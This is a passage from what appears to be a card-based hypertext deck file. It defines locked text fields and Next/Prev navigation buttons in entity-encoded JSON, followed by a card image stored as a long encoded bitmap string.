wrong&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[47,17],&#34;pos&#34;:[243,109],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;things&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field4:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[76,17],&#34;pos&#34;:[263,137],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;beautiful.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{card:card10}&#xA;image:&#34;%%IMG0AgABVt3/v///////////73//+b/f25tmt+299/////5//f95NslkAR////8ycyWbMpWWpskyZNMlTMy2aWmzTM22zbLf72///////////vvf9/6/c/bSerf5b+f////7v39/zciTAAAP///9k5M5UkzMyrkqyzRZrLLMyZaaZttmbLM2+3v///////////++//3W30991bZPm1vb/////7+f/vbqNgAAZ////tycy1WlamrLaqzLTJqss1s21syzO0s2Tf/f///////////9/7//cn+3z2W1e639v/////+e5oAGKSAAARp///7E5JSlMyMzKlmkmmZjJzMyyWWbLMmzTOn//////////////3v/++92pbs43Zvk/v3+////vyY0AIMAABIe////NydlrMyczLOWW2WTTNFMzNs5Zs22tNm2vvt///////////v+++6pva3ty1reU+//7////20AAQAAAAgEpf///bE5OlMy0yzMplMlOTKc2ZsyzmzzNk2zFv/v3//////////+3+//tu2nZttqb9m90/v+P//4gAAAAAMmLf////7NyYrVKmWzWbm0uszNppZmrMubNsnbJtn/ff//////////7+X/31T+01s27bhHs//z/r//4AgAIEAQ/4vX////TFZpLM2ckzMljMpmmTNmbM0y00zbMmzN//f///////////8/d/tbO5nZtt2fZ27f9/9/8YFBIj3g39jb/f///XNUzaNUkszMzGslkrLMaZlzbLTZNmbbNvv/////////////8///6/9kpsny5n3+/f///wQQUt//72Uf//////+WzZZZU2ZszXNjNLTOZZtnLM2tt2WZk2bv////////////f97v3KzlzKR9Pu2f+3////wARl//3/9/8z/+///+yLJyXLZZMzMbHNabJTWSWa2zSyTZtmzZ/3/7///////////3+/e3vbNZlvn32/v//ffxmSXP/////83r/////m5TGaaMzZayyNLJynGabZrTNnLbLmbNm///v///////////tb7+37KzU7L98+bb//38BEW///////z///////+TXM2jaaTMzObaLGWeYszmWs2c22WZsybvv//////////+/e3vu3rKzM5tvvm/PPv/9yRv+v/////3f7/////9syWkWTM2aU02J2c1I02TNazZpyTVtmzs/+3///////////d7e/9va3s7TXv8/d4///Nrvu/////+3////////0zlM1mWUzMzGbFZmdl1NsynNmm2mmabM/3///////////vfm979/aWm5fb9/P+/v//////////+C7////////5smlsmZNmW2s2dkmZWM2yzc2ba22tJs1v/f//7///////+8u73/9+1tba2v/8e7/f//9///////+n/////////ozOUzM2M2UzmZLaWZYzJm1mZlkltu2TM+//+3v/v/////77b+b/+221b7e/+A39///////////8+/////////znMzNmZMy1nMs7M2ZnZm2mc2zW2lKZdtv////f///////u2W+77e9vLW39//2P/X///////////W7////////3MSmsmZtrmstsyZyWaUzZmZmbNttbZlmb3//t////////+7ae7f99t8ub73/84n7/////+////69t////////+ZzMyZmZMkpqZszG0ZmZlm2c02klrW2bZ/vt73///////v3s1+e33d7y2/v//mbf/f///+////Oq9////////+zG1ltmZsznNpp2cz2WszNmZmzNtKWZpm/+/7/////////ve23b//fbtmf///ke3//////t/7/529r+//v////2aTMyZmZrNNWzEyykZmZsmtstttt2Zm2b//f/////////+/av/t7fb829///+W3//////////7N9PpIf/////2yspppmZmZmZbdmky2mZltqZ0zJLW22zZ////////////3/cs7f+2//5l39//2c3/f///////+sta/kg/////+mYzMzZmZZma0zM21qazbNm5lrNtMmZmm//////9v//////91/tu2+3/tf9//8133f/////93/yZatbKf/////s1tZZRmZmzaZzNlMylmZpLTbM2ba21m2b////////////3vVN7/837fbZ////P9vt/////93/1pa31Is/////9kYzZzZmaTM1mzNUpmUyzbNZtzZLNmbNs9v/f/////////f9t3ttm3//b/p//85////////f/+2x/bSWz//v/7M5qZmxmZmY2ZjNbZm5mzZazTNm2cm5sm3+/f////////97frffe9vX/27////79/7/////7v4JCf7mbv/////syYyYzbWWzo5m2YpmiszJzLbM2bZtmzbPf7f/////////3/uZ995u9//7/f//75v8/////+//wGfm22v/////7M52ZkyU5mbltmZzaW5mazMy7ZsmtmbNs/3///////////f/b/33rbv//+////8f/3//////+WwH+3///////7MyU2dzZjkxNJmtXRtRmZptzTNm2ZNs2Tb////////////+/+bffbfs//27//+/V/v//////mIRA9vv/f/////yZZmZJmtJnZtmmYTSVmsyzNnabNttmzbPv///+/////////7b2/7bZ///t////Rr1/////+WyECHv////////zZmmWbmZzszJWtK2zaspppM2TZsmbNNm2/3/b//2////////v2/2/5l/+93///Vv///////1qYSYf/////v//3SaaUaNVLJjNkpu2TSppmy2Z2WzbZNs2Tbf/f/39v///////6elv73Tf/7f////nf7/////myT31wf////////WZk22ZVYzOtOzKUtTNNpJqZm6bNm2bZtn/7+//cm///////7/9vv/bP/vs/////9//////+rf///B////////2ZNmabZnTZpMtbZqWkZLmy22m02WbZNm23/77/3bf///////m9ts/623/6/////P3/////5u///+cP///////umZMkqZqczHbMzGtabbMWZmZM2zZsm2bJv+/u/9JN///////+/5b27m/9vt///7/W//////1////8g///////+uZZmaZZiycTMrOZWpmZ0xmZtktnm2bZtlu/e/+kST//////9t7pm72s73d////vW/7////d/////zT///////8mZm5ZZWMy2WsqVaTGTGnNTads2bNsmzb2////qSaf//////9/7W3bs7Pdf////38////////////fb//////1mZliWZZ02s0szbYtcmcsZWS5tppsm2bJv/v//2km3/3////9/2Vte1+8/7////2/d////e//////6T///////dLJmaaZlskzk1Si0xuZkzM2kpNmzbNs23u+//9EES///////7/bM29Nzb7////Gfv/////////////v/+////5mZk2maZktlnUzTZmkpNaamd5tbbNsmzZ/////kREv+//////7+t7972f7////8//P///////////////////3LTTIWaZlpmTMzXRstLZIyMslrZk2TbNlv///v7DG2///////32bZtzeyfH/P//nff/////////////f//////ZmTM1KaZnLNK2UnZk2TOzdmZbLWzbNk2b/9///MCJ/9///////5N23fu+3/7//s27/////////////3//////zSTLaaa5pMszM22ZNmTMTENNpWZtm2XZp///9/4yM//////////bbbf8m7PnD//f3J////////////+3+/////TNKI52SzmzLUmMyZmWk1OZma1bk2TZMm//////gUz////////+7Ntu/s8j8Q///bf/////3d////////////+yZazSSVLNNMzcszbJMrJSbLJZmbZtm27b/////w1maf///////6bab/Zlzfsn/d3c//////f//////8/9////7jJHM5m2U02yk2mmZspszKZOVqZtm2bJl/////9iMb7////////3bbt/Ndn+B/7/3z/v/////n/////7/////+maWSy2jVpkmzZMyTZbCamTU6ZtmbJstmXv/7/fkoyTf///////2e27+9p6/hP+/63v/////n8/////v//////zSaTJZOmltmVk1nuZSdMmWTGpmbZtmzNv+///59mmfZv///////+2zu5Lzv6D//+v37////2///+N/+f/////3GSmmxkqtRmlTZMmZaxc0mTMWtZmzbNMm///f/vtM23s2//////+8vf99fm/g//753/////9tn//5+b9/v////WWWTLLTJrLOtltmUyzJJmWW1ZmybJs27P///7e/9m2Z2///////943fzZ3veH+/+9//////n9//3b/3//////0mUnMsnNi6kqWbNmykyZlMyMlqZ02zLJn/t//9//u2zM0//////933ffb9v81///jz6////7Nf/9f2/f/////+2WmSZaTNizZZpJmm2zZJUms6TtmzbMmz///t3///u2Z1zf/////+d/921vfxf//8//n///99t//y2///////+pMtLZkzM2lpzm3LMkkyZlMkk7Matk22Zv/bv3f//+0zNvdn/////92/2/L//z+///3/v9//ze//u3v///////8kkslOWzJbTTJZbNs1yzKZnMyp5s2zNsz/3/f////23Zq20P/////3//97///////Zn3///5///+3O///////9bNJaY8jMxnMzlmbM1kzKpMNmbJlZtkmZv23dr///9tnLuzZv////+223+d//3/v//P/////b5//9t////////ZMtZrgtmzSazOaaZZJyTKZsM0ZtZkzbN9vv+/////tmdc2Jm////67v/fx//97//7f7v///z/v//vf///////6SZSSNszNZpM05szZtkzM5JZkzZrbZsmR+v77d///t7ZV27NZv///tu2//7/+3//uV//uf/+////ud///////+zJKZyZJkyzczS02azJzJSZnM2ZqZsy2b7t/3////9rm7drdlm///9/v7/p//v///9f//9//f/f/973///////SWa1mZszKZZMtpsyZNkzMzKZsylzSzM2bN/fb////u2as2bObb//5tu//9///z//+f///////n/9Wf///////9kZFI0pzM0ycyms211SzMzJjI2tTXNs2b999/////v5kz7bs5lv//t/+//T//Mf//+/fv/+//5/4RTv//////+2yWbk5lbUy5bNZs2TNpMknGZpZrSczYs7fb23f///fu3Pv/mzX//7fv//5//4z//y+///////fhBAP///////pKaZNpSyNriZtlpk7MzZMzNjalizppM2f5vv32f//95s+21szJP//fv//+T//tv9+75v/t/+/zGSAg///////9kykxJZi2Mm6TObNmtjJszJGZbPTOm2Zff++v85//v3kzfb2222//bfb//5v/c///v3v/f///+EYJAD//////9mSWbZy2zMzSbM5ZsrOaylLNyVMW0tLNk//5u+z//+ffZM9tszTP/+/////5/3X//nef33//3/ySQEEP//////6ZlMjCZSmZla2TTptMylNWaGaZaTZmmbXfn9+kb/979N22/k3ms/+77b//uf/f////+f+f//fyKRIIz//////9kmWTOxlmZmyydbLNbWs1KSs2rZtprOZn//d+8z//mt+zNtvs2zb//3v//+7//////3////+/+SQAgmf//////2ZpNknLGWZjS0y2daUyzOmWkWZmmzM2Wv/f+1m9t+drbNm2s3tN/+/bf//7/////n/f39f/73xAiAGf//////5JmmTMZMsZm1mzTZZ2zMqWcN1SZNZZmZu39bbM7b99+29Ntpss2f/77f///f//vf///fXf//30kiARv///////mSaZMzTm0yy2NmmzWs0ykw8km5tRzMtl/7ZM5ntv273zZm3M97b//7b///9//////+xf7//9vZIABn///////bZkyySTMJlkpc22bZkzZmmxK6iZPTZqb//+2bve/9vtnvNtZ55mv//Tv//bP/vf7f//7+3//rxMwEt/v/////9i2STMzJtmV01plsznbJmslNhm5abGrJv937f/979//v+Zm3L72b//3f//9b/+v5z/8+z//+7/ZRIJ////////SRM0kymMVtFyWmmzNM21kmbHGkzKuZOy///////v7fdtzPba2zJ//+1///S37b/fP//3f3/9+TMQl/9v/////7WmyzJmZZktm5bNNtszTFcpMtmaaaVaZ/++////+7/992bfm23s3/+z///+3/nfb3/e399/9b2YxGX/+7////6maJls0mUlrJlltszLamNkzTTGYzZczM9///////7v/5/zbaW2zTf3/v+//tu/9++v+++3/+2+ZiUt/5//////yRskiZmZZmNmbTLbNM27KnLNM22WUzMz///////37///nX7ttrNv/+3/v/8z3n/37///fb/6/gEpu//3f////3XJZrMmStlbWprNM2a1LNsSkzkkybNLN9///////bv9/+22mtu63//7+/7/9kz////5////0v8kStv//f////+WbJkmZmoVmMuy2czbNsZRzTTM2mss2M7//////9+/t2/z/7LezJ//2/3fvvnrP////f77//RtgBL0/5//////2SalTJmTZmZspmbbM0rZnG1mRpMyzLbLv//////+5/9/3ttmdvd////97/6Emb////f//f/1tzCB9f/z/////2WypXMk1ZlNlNm2ZszbNuciy3K1lmclN/////t/t9373/v/Tbc7b//t/PD+ctz/+//5/7d/8j5EDft/7/////+0mZoS1kyzabdbMzm2tMok2jkszM0xaWXf///s3/1/7tv/fdm57b//+/8z7/tO/9//v////+NvhEeq/+//////y01azJMyTKpjJs2tMybbuZWMySJhnZs2////tpvva33/9++2Tt3///79j/v8TP/+/7f/zvf5U7M27P/7/////2pkZOU5k1S2mOzZps3bNMs1Zps7OsjGk7///tNu+7/3N//+73bWbf/9/5b7+dGfu9f9////+1sptzd///////+yt5UzTMyXRbabNnLZWaZaZNKyyYyrNNv///7dbbbW/v3/99m3du9v/3/G39t3////7//++envz93Zf/f/////mZCVGMZk41lNs2bdNmbbZs40zJZlNmlP///3fZfs3+3P/91+zZm7P/7/7/38/+///93/3v805v7/mb///////81uacyzMyy2aUzZlc22WZmZjSVks1GPM///2dbW62m9u7//7vmrO5P+//v9/v//7//d////lrv//yb//f////7mSapmMZpMpq5tm2ZpmaZpM2mzM5pNMM///972bbs+9v7/7ru2Zmzt///3/t8Pf///6f35+++z3//Nn///////stYmM4zJk0mlsyZttm22zsxmTJhJtNZn//9nuzvUxt9P2/u/3tTfu/9//f+/n9/2//3/t7757/f/03///////5mTc5jMZTNbNZZ1mZbM0pKllMzPZkaVm///u+/b1tt7eW+93XMzM9r///v+7/9//+/3/77/97vf//bv/3/////NOZjMczTMstps2bZpszt2dTWzMTTZMSf//7783vM5vv9t93ftqS7v/vf//9+/P/+//3/+/vDb3//sv/3/////ZMyMpxMTMoyTay5m7TbMTUzKJKTNJW5n///Pn7e5rt+23/9+7azPue/7/P1/+f//39z/v/92ff//+7///////7LGZmGYzMzttZNm2ZbM07Ga2szOk2UJm///c/P9zOZ3/7b9z7tkk/7X3v/3/3//7f/37+9/5Lm//9r///////+qM2MczrJNJWy02Zty2za2syVbMnJZsmf//7bub3Z1vf23v/d20zbW1/+/evf7///+7n/v//s+///WX///////ybkZsmJLY2ZLbZtmTmbMzMy1MmWMykyX///Nu/v3O5t/3f6b3ZhNtz9pd/899//7/yd/57/7X///td///////3TM2IszTJpa2UtmbbM02VtLTMzMtaZJm///czbe2cr23vf/ru1kybnn/f/17/9//tv2//b//Ntv/6S////////GRobMnLKzMybabZm5mzNSc1NJmmYxs2P//9rW397+3b++/afrSSZu2/6e/b/ff//8/L/Xn/+2b//Kv///////+TK2csSrJaW2M5m2Tctm1py1NmNJmiZP///M23t2ttNvz95butshtt/6z/7v/P+//6f99v/97Z//2m///////6WyYRJnKWyc06zWZtZ02ZmkpbMsmWbJM///922/6e26e3t/zuZkmJt/3mf/7/v////33/+//M33/9Fv///////smxmbOWZK0ljNZtmzNpstM1pJmbZJMyf//7Ntv7977Z/b7bfZNoLNv/2/f7X///3//v/93882d/5lP///////2knOZImZmm9OczmbLZtmZs1KbMZGmSzL///M22723tWm3b61WZpmZu//u/7//30v/+/f997/223/vN///////9NsYkzmTbMpZyzNZtnJbNjMqZMzabbJM///e7b/27d2f7b3rcZrUTJ///+/733sL/9T+//v7t7x/ZJ3//////38kzObNORlszGm1mzWbZmbMrbWbJkkkyX//+rttX3p2U2zXe90zZmZn//8/8v/3Bd75+/+//883n9+X///////ppacskszTMzc2zObNrbTZrNGSYmWaTTP///s27dvbtmbzd9bWzbOzJ/+f73f/vhX//3/9v+7b3p/bZ//////9/lkxIzKTZs2zlms02mSbMyccTm2ZMtMk///t3bbu/Mmtv7rd5t2YmZn//99/K98Dz//v///u/953/T///////3ZKTNls2zm0zNmbWzNba2Zxp2mUzMyYzf///U3+t+9tmezu7bl27szP///e/6d8Ie/9+/d/97e3H72b///////5pspMiyTNM1lm1Mttm2TMzOJJlmalJlK///d3a7d7Nkb3bbe3LudyZ////v/f/AH3+9vf///f7Y++z///////3TEzJrJtlk1nNma0zOSdmZsa2mmZs2Uy///9tv3b/NJ2t3d21Mm52zX/e//fe9hA//rf9//77+xj3+///////vZNJLJVmnPZtNmbNrM202Zk2ZbNMkyZjf///s3ffO/bk+3bXtt2/u3e/7//fX94AH/zb/Z9e2/+WX8///////+yyZmZTNNMtptLacs222y21mZlNc5SmmT//+7t+/e7bJt7e9vrJme22/+9//+/6ADn9//v/3TX8xT/9//////97JJKTSpVtqbLbGzZzMktmZmbOWSpmmZS////s37/+2zt227tvMm92qf//9/fv00Yf/ef7X7/9/5mv////////20yZmLTbLNpbLOWVms25mstmZNOa2WRm//+397f+m2zJ+3+t2e7u2603/t///3cbj/x923/v2v+Ob/v///////TJJGaVStNWzWa02azZptqZmTc2ZRVNKT///d29//s+zs229/9tm7tn//7v//d88Xn+T/z/ye78JNf///////9tI0sSSTLbNbWZm2ZnNmzNtLWZpM1mWZk//2/7b29tszP9t9y3dXbs2J7/bn/b5h2A/3/n//ft/40f/f//////7TJSWWqmLM0020s22abbNWbMzNszasZG////7tv97d9ttv377d1dt75b3+//9pv/9v+/8z/38//p7/d//////7bMlMUmmaWzTmZsyZrZk2ZLM2ZZtkqycn//t/3/t75tm/beb27bZzbnBt57p3/7////o3n//sz9/m/////////2CSUkkVW2bNmstbsmW2zbuWZzZpm1mZkf///3P/7bv6bbc/2ztrLbeab//v/9d837/9//f//77/73/b//////2bJJMtlGS02zM5Zm7aZtmKbNmZpmlU0lr/9v+9trd7bl+2+3neyczV6Dvv//9//5///F35/38//83/////////0kyYpMuWmzLNZrTJm1k2bamZzZtNplZK///+z/223/W229vtZvZzWWyb5/77+vS///9fP///yd2fv2//////+2SSZJJomcts2ZqbNmWbZtWWZmZptmtJp7/9//P9zbb2t9tvvT82lk7SHf/t3+cfP//+/u//v+7fcu/7//////+5IwZbJmZszTaza2bc5tmWdtszbKWZajf///++23vv+tltv/bb2bGmmDXd2Xdt+9///r9z9+/3e12+3//////9pmiySJNSszNmZWTZkzSba0mZnJbZtZrL//7/7/pabbtfbe773u1Ms2y+9//969//7/4/v/u//a7d/7f/////99KKIybZWy22yZ2dm22d5mm7JubTWmZFK/////tvt7/t5tZv7m/tZllsH//MH+5v9f/////9/c2+83+7//////7YksyxJIzMzLtmZmZs5m2cpmyzbSbKdSf///97fb+zbbu3u//7trNPmw//tc8x7b19/6/P//fuz97/zP/////7rTCQjSbls2smabNtkzMzZtmzOSztm5LX////zd3t73beybd7v/aZstIP/7Bv/fvv3/////t7xmfZ/3f//////2RNJmLZNTZrbJs5mbdZmmtbNs7TMzTOV////v23f32bdttt3+9ZzLZ0AH8+f7/39/P/f/v5+9b+d//bf/////bTQSkaSSZNmZu2zNZszs2ZZszS21rNMUv///+2/9vba2227/3/bWbNnYANe5u399+v//tL//pKe/f/y//////+mTZJkSbZ2bbSZNZmyzLltrTbNmzM2bWr////7Nu/9tttpvtvds0zM2ZAAQv4SfP2///+/n57q+3t/7r/////+6SExmWyTTZmbZszOZnbOmabM22mtzKMq////29+73bVttvf+97TmZpsEAACZz779///trH+/57/a3/u//////1maTBMmabNma2zbZtmTZtJy2zJszLOamf////7b/v/dt7b9t77Nu7NuwQI3d232/n//8O//3ze9tv/bf/////9WSITMkyy022ybMzMtuTNu2zNtlnM2bMf////3b++7bt7L3/3t6yyZZJBJl305/7f9//2/f/9/3zd/7///////0mazItmWTZmW02zZpm2ZKY2szbObTMlw/////f/77vv7+3bffzLb7ZskEn/L/trn/3/+Sd/pzZ75/22//////tmSSTJM02sm02zNnNtM7bZkzbJszOs3Hv////+//v7/Pyb/29vc1mZrITf5v+a60/d/98/v7X2637/d7/////+kmUzNJlmq9m0tk2ZZsybW23M2zXazZMP/////+/e3vefd7e7+7W2zbIn/7//9v9tzf//H35L2+1L/tn//////tmUySbMmNpmts3ZrZrbaWZs2zbMzNM1s////+3///fbc0393t7MzbZSX////f12k3f/5c9/21u3L//sf/////9MkkzJJtdWtsszNmbZM22skzNk2zc2ZM//////2/dt+Wzbb2e/a2lzbV//9//dXJm//79vv/V2+Jf/M7f////9ZmsyWTJVZZlpts1aZ2yWs7bM2zNlrM5n/////3f97ba7N/+9u7MzTaW//7//n2aN+//nO/8X5upNvdr//////zMpkybZrLltNszZmazNstps2zNs2aszM/////vt/7f2s2399+7d1tzT//P//9d3L9//9bffydvuTv9s3/////uZlMykjaubZ5prMuazM21NmzNtmzZrbM/////+q3b22dzPf3b/1ZkzeP7////vk2N27/umf+7ad5v7Z3/////+zNYkmaZSZpjrM25s22zNZbNszNNm1Msz/////7P/2/9vO//ft/brbay7u///r5sDu7/3r/+2y/Mvffm//////OZJs0pyXbTubZzJm0zNszZszbNs2ZaZm//7///c+22ze+7/+/27LMzPz0//f6dzZ79v9+//2WZ+7f7b//////czKRlmm6WbJzTNttM2szbbTbM2bZszZm//3//+y97t7fzf7+7Pzbaze/1//3/PJkW7c//37+98+t//tvf////7WbZkmYy2a3GWZmZs0zZMybM225NmzW2n/2d//+t3t223tf//+32TP2+3+//fz5uBvP/+7v/+2/on/+z/////uszGzpllmazd2zNZrZnN2za2zMm2bNmZm/U7///2/bdm/v939n9mbcm2////m/bWo/2X/a5f/K5/Lf9r/////+y2aTJmdm22lmm5mzNs2TNmzNttbZs2smu1mv//ts7tm9tv3/3dvszbtP//f7vX/q3eef/n7/2xnE//+//////vMztJlpNmU2aszObaZmbM2WszNkmzZmduyMf//+372tt3bfv7ttsyZt9////z+/xf5//v/7/93T0T//b/////s02WbbG5mtlptmZszZs22zczrbO6bNmdlkpl///vf3Zm7N+/+u7Jszb7/f//TeWlf+5//fu//7dtJ//n//////zZ0bRtTNstnVOzMzWzmTNk3OzMzs2bZNGzGX//u9vtt7t27+5rNs2bP///gfnl/83/3v/7///pnI//+f/////tsl2XTWZlptZanZtmbM2s200zbWWzZm5uJJZ///7+7ZnrN/v7ubZsze//+CA90Uzu/9377F+ffvyz29v/////6y7M2ZMzNPZm7MzM201mzZtnXbM5NmybNsjFn//P777PbN2f27ZJs3b//gYIctPfP//ff+dv+d/tN//m//////rJM2b22dsZuadm5pmzMnNkstabrs2bsdEzMWf/+f/zbdvfZ/Zsy75av8hBQl7H97Nz9/55t55//Um3+//////222Y2LM5LbZszMzNmtts2bbrSzMrZsm1ZJJpv/7f//2eye3tt6zZtmzkzGBC9e8baWw//3v//7ftn/+3/////3TLMyaszbM1m2bmdbMzNmZtNbnZzNmbNbMzKmf//3/+azb7P2zpF22V/JAIBNe33zoiBf+//3/b7c3/3/////+mmM22zbbbTbMzO1ZtrNO2yZzmznabNsybTIZb/zv/87tnvtNrW2TJsTMiAidyH3fgmAf/z/9ue/dv9/v////+62bZmXMyTPJs2ZmbTM2ambvmnmszZmTbadTRm//v3/622+zfm1JbOkgYCJCb70fXtNAD//Z/8/72+//v/////1ltNm02zeaezZzM6bNzbM0sa7NpzW2bM253MGT+/fe83Z73PObZk2ZmwoAEG6efZdnQAZc3f5///s//bf////3WmabNmbc7ybNmZyy2Wmd25zptnbWZs2yfu04Fv5dt92232edsrLTNkCIhAW87n33LwgH337////cP/9v/////ZtazM20yzHc2a7W2zZuZMpnNrOZm0mzNv+/Zs393bdtvd357d7bNmVkgkGnt2+2dLOAD7vz/+f/9n/7X////+zlmWbZnbNdUzZmZk2mk25t2ZbM7Wm7Ns2//9pp/fdts29/m25bWaTNFGJbem33v7bngA/vvf/v/+0//df////utOczNtM9zW7Nmbnk2bWbNVrzbmZspkzZf//7N/9vbbbb7+bbs2yZksUZNv7/7978vwAG3/3f//vdP/6/////s5s02aZ2zLOps22bO1ts05ZmTTObltnZNn///97//bNs3vv29q22ymopBM////983ZgAA7v9f+/7lP/7r/v//7zLW07tree8tmzMzM1mS2zrtd3ZubNbM2a////7/v+ezzafm2zttmZJiNN////fi/JuQAPv/39v+fa//m////3NbMtsm605Z2dNs2dltbZtKZsyzmZtZmbJv//////+5bOz7+3vM20xnIYf//n///r+aAAD/tN7//5ov/9b///+cza0s7LbbtmZ2zZzPJm1k3ZqznbbTbTMm3////////28zm31s57ZmSYgJ/9v7/1v7dgAB9b9/9/3y3/5n///97bTN5tuc5qc+mbNnMvOTbbWzOmVmbKbM2Z///////+e73u/dtzm/s5pIAC9/+//z/dYAA33Lb3/v9J//mf3//2s2cls26zz5ye02adqc3LMmbc3uaa2y21tv//////f9+tts873Oy5y2wQCLX93///+0AAAfe22/+9Z//5f///tqyzdZpm/TTtsmzZ5trWec60zVM56zWzNMr////////95vb7zNtvttpzACEWtn//73zAABnx2/v/7SX/7m////ttnNttu033K22tmzJmc5bZmzNtzTWkzM5r//////7//1ttvOezM95m2GQES////y12iAAAb2y/99jJ//a//3/NU2aaZ1tzWetNs2bduZrWd2tsrNtU22zLNP////////97e287bNzZtZsEQAv7fvt//4IAAC/t9u/8kv/5v////ZprZtlmvm5s81pszZus2ZTMz7My21szMZb////////3ptt7202XZ5lkkQCG///70u/AAAAO7f/u7Gb/7m///3LtmW2dvMurmzZtszLM5y9ttrJbbatkzbbb///////83e222szzZzTOTNAAJ/v//Z32EiBAAP9Nc/sH//7f///eZbazZs3butuZpZ22dlmyazM7zM0sttlMyf///////397tu63tmmWYts2kBn7//3z/gCEEDJft3/+Gf/bf//77ZpmnNpzdmZm77plrbOa25rNzLc21pszWzb///////Nr2u22s22b0zIzJKTP77/93uGsAwGMDPM5/0t/0z//v2trWecznrXduWTO7mss5mzW2Wbl5tNkzNLW///////9vvdv2Y35lmmdjMkpP+7//v3/pEhI4AD/2/8m/2z////bbZ05zebNma82c5ta2z2mZTZ7PJk5Ztasyf///////bf9u21ttmXs5O5ban573/7/3//7vwAAH/v7t/8/b//+9JTnTnx5227S25ll1tOTs7mmmZt3bZozLTv///////b9u7f3du9pttszANvf///97v////QACB/s+89/03///7e2afNHnzbm3czvbLVs7Nya2abmTMZprNNm////////3+7d2pe5m7NZnaQW+7Zv///+/9+BAAAX/f27f92///3ba5yd22XtuTU3KZutO21NzltubbMzLZNazP///////fb+2/q1ttb5Zk0hJ/+Tr///////6EBwn39/P//97///bMzXZnndbVvW87baa8sza2WmWZm22aZ1apn///////f/+2/+zdtk3bZmiG/34////////7ZJEB/5+03/7v///7e3c3tmtttW2yzc51ps2zJ1tbbWTMzZjS22/////////9+39ktt6XY1tsp+3+9//3/////yJIM7aLnf//O///32cyzJnuub7S3PZz3W55ndmlmmdtkmUmrMZv/////////+9v2z7bN7zZsz2/fxd/3/////ybSIf/ruM//9v///W0zOvvNNbK3s2bbJNZpuZatOaZmzc1bS01n///////7/f9/tnbec2nprN/4X//////////2OJP+2bht/7dv/79vd26bNt27akzaZu817ZrZts1ttLMzZnTbW////////vf/7fme25b83bN/3QP+v//////+0YJHvvT5b//Z///22czJ5vbuzc79t72Z7ZbWbUrWWZs2ZjSWspv//////++//u/e2++t93ZbfvUgP7/+/////xAQT7/2fFv/37///bZtvzzbM3Z1p2Wl2y52daZrM5ZrTMzNsyzn//////+9//+/9u09q/ZNn/fkkA/////////mQfzs+Ryf/6b//+9vt2Xbbd23tbNc9m2zs027tazmzNmZs01nN//////f/3//9v8373b5uaX/+oTc3z7/////rJP/O326b/+73/+7abN2b23dtNtc2xu02Z3aSZTNObWzMzJs2Zv/////9//3/9/70rvX7aZv//pjdn//+////+k//9/863//33//+77c27W2Zt9aZ2vs125ss9zbc00zLMzNszZr/////73/3//77/reyfZvW///Gbd/X/+///97L/73v2wf/2fv/9zm37u227tp3u1st1s35602azbWzM22tZbNr//////vdv//779tZy7aWdf//c35397/////0Iv9/+/83//5v//322bs227bbsmZltNq1JltpyzMsttzMpZs2bP/////e9+3//397T/j+za2////7+///////9ZP/f/3lj//n///e3t5r3u7bbZ7dvdc7dt7VunW2a0zGk3ZqTJb//////r9///f9/bdmTWmv///83//3//3//9nF/z//Z8v/9Zv792tn3Ou2223ttaZbZ07TtJaUzMtZM3ZKzduz///+//vv2//97/7d5Td6U3////fv8//f///pIT3//tzP/9nv//27ebc7d3e2a2bt6tmzOS7W7ms0021M2rUyzf////9/ev///3t/Z/mzntv/tf//v+/d////+gh/7//3H//Oe//7tt633dnc27tbNS62ue9raaszZmbM2zWmzN3//////d+3/9vf3zuyTOYs////f7/9/79//2LKH+/+b2f/89v/7t2z2dbe222123e1rM5M2W0znNs5kzNlatsy///9///93//+3f+b7lt9p/////Hb/f/v9/vIAt/f/8/f/7bt/f7bbW5252+21m3K1c9zs52d3OaZmzbMzVsztv////37f3//929+zfmTXbv3///8379f3t/+8SD/3//y2/+07ffb7t23uz2023u1OnZzNrtm000zZsZs2zNVts3///u/f3e2/93v/+d9JPbbf////Pe/f/7///AkO2/vO+7+22b//TbW2a3tt22Nt22u2czM2mznWWz0yzNs1Mzt///+9/Xe//9/Nv827W2bb/////dn//7+e/7sg3/9+3lv/stzv+33dt7ttttt9mzXqZ57ZrOuuc6bGzNszbdvNv//79z9/83f+9u22fsJab3////YX/6//2//uEBfnbbfc/95m3+/mbtm23bbtnfO1PdmyzstszZs02tszbMtM9v///tvvv9/e77fu022kyzX////+L/////f/3kAfc/O3N79tsz+837Nu3bbbNuZs25bdbTZ2VnNs2zMzbM22dzZ///9s27f8+7vtc0y3MzO2////67f/9+////sIC3a+/ubv6Zm/97O9tttu29t7n27yts3TVZObZsttbM2zNbbZv//7937/v6++/99klslczn////8f/7/7f/26AAv2v/+e/75M/v98zbdu22ztm3Nkzya2bZm63Ns5mZszNtmrt7///7d/3//s7/78m1sszWs3////bd+/fd7//kADtz//05/mz1/Nz3bZ7fdvNu3Nnzn5syzubMc55tbTbMzO2uz///f5v3/+2///t6lNorNr1f//+t1+5/f7+m4QAOff//f/+zN3+3N23zs1t9ts/bO2m1vTJs05zl5mbM2zbXabf///3u///2d3//7kttq+mdW///+ff7z///++QkAz37/+//km/7t9m3fu7bTbZybs1uZs3bMz7OdTOa2zOzNN93////7fv/99//9vNrdJpMblf///Pf/zH7/l+wgACnv/7//uze/tne207d7vbbu6t1m25mTZtk857c6zNszbu12////7fe//m//9+9tbZm1m6X///n3/zMfvfeyhAAHs/6d/+pv+7uZtv7dzu22625nvOZs2TM2zWzmzmtm3zOtrv//v/29//+/3/9/J2zNTGcgf//8f/